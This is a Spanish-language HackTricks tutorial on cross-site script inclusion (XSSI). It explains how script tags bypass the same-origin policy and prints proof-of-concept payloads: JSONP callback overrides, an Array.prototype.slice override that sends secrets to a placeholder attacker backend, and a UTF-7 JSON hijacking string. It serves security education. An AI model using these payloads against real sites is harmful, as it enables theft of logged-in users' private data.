XSSI (Inclusión de Script entre Sitios)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Obtén el swag oficial de PEASS y HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.

La información fue tomada de https://www.scip.ch/en/?labs.20160414

Información Básica

XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando se incluye un recurso usando la etiqueta script, la política de mismo origen (SOP) no se aplica, porque los scripts deben poder ser incluidos entre dominios. Un atacante puede, por lo tanto, leer todo lo que se incluyó usando la etiqueta script.

Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP, cuando se utilizan información de autoridad ambiental, como las cookies, para la autenticación. Las cookies se incluyen al solicitar un recurso de un host diferente.

Tipos

JavaScript estático (XSSI regular)
JavaScript estático, al que solo se puede acceder cuando se está autenticado
JavaScript dinámico
No JavaScript

XSSI Regular

La información privada se encuentra dentro de un archivo JS globalmente accesible, simplemente se puede detectar esto leyendo archivos, buscando palabras clave o usando expresiones regulares.
Para explotar esto, simplemente incluya el script con información privada dentro del contenido malicioso:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

XSSI basado en JavaScript dinámico y XSSI autenticado en JavaScript

La información confidencial se agrega al script cuando un usuario lo solicita. Esto se puede descubrir fácilmente enviando la solicitud con y sin las cookies, si se recupera información diferente, entonces podría contener información confidencial. Para hacer esto automáticamente, puede usar la extensión de Burp: https://github.com/luh2/DetectDynamicJS.

Si la información reside dentro de una variable global, se puede explotar utilizando el mismo código que para el caso anterior.
Si los datos confidenciales se envían dentro de una respuesta JSONP, puede anular la función ejecutada para recuperar la información:

<script>
      //The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Otra opción es establecer una función preparada para ser ejecutada por la respuesta JSONP:

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Si una variable no reside dentro del espacio de nombres global, a veces esto puede ser explotado de todos modos usando prototype tampering. El prototype tampering abusa del diseño de JavaScript, a saber, que al interpretar el código, JavaScript recorre la cadena de prototipos para encontrar la propiedad llamada. El siguiente ejemplo se extrae del artículo The Unexpected Dangers of Dynamic JavaScript y demuestra cómo, al anular una función relevante de tipo Array y acceder a this, también se puede filtrar una variable no global.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

En el código original, slice del tipo Array accede a los datos que nos interesan. Un atacante puede, como se describe en la cláusula anterior, sobrescribir slice y robar los secretos.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

El investigador de seguridad Sebastian Lekies actualizó recientemente su lista de vectores.

Non-Script-XSSI

Takeshi Terada describe otro tipo de XSSI en su artículo Ataques basados en identificadores XSSI. Él fue capaz de filtrar archivos Non-Script de forma cruzada al incluir, entre otros, archivos CSV como fuente en la etiqueta script, utilizando los datos como nombres de variables y funciones.

El primer ataque XSSI documentado públicamente fue en 2006. La entrada del blog de Jeremiah Grossman Técnicas avanzadas de ataque web usando GMail describe un XSSI, que al anular el constructor Array fue capaz de leer la libreta de direcciones completa de una cuenta de Google.

En 2007, Joe Walker publicó JSON no es tan seguro como la gente piensa que es. Él utiliza la misma idea para robar JSON que está dentro de un Array.

Otros ataques relacionados se llevaron a cabo mediante la inyección de contenido codificado en UTF-7 en el JSON para escapar del formato JSON. Es descrito por Gareth Heyes, autor de Hackvertor, en la entrada del blog Secuestro de JSON publicada en 2011. En una prueba rápida, esto todavía era posible en Microsoft Internet Explorer y Edge, pero no en Mozilla Firefox o Google Chrome.

JSON con UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Incluyendo el JSON en la página del atacante

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>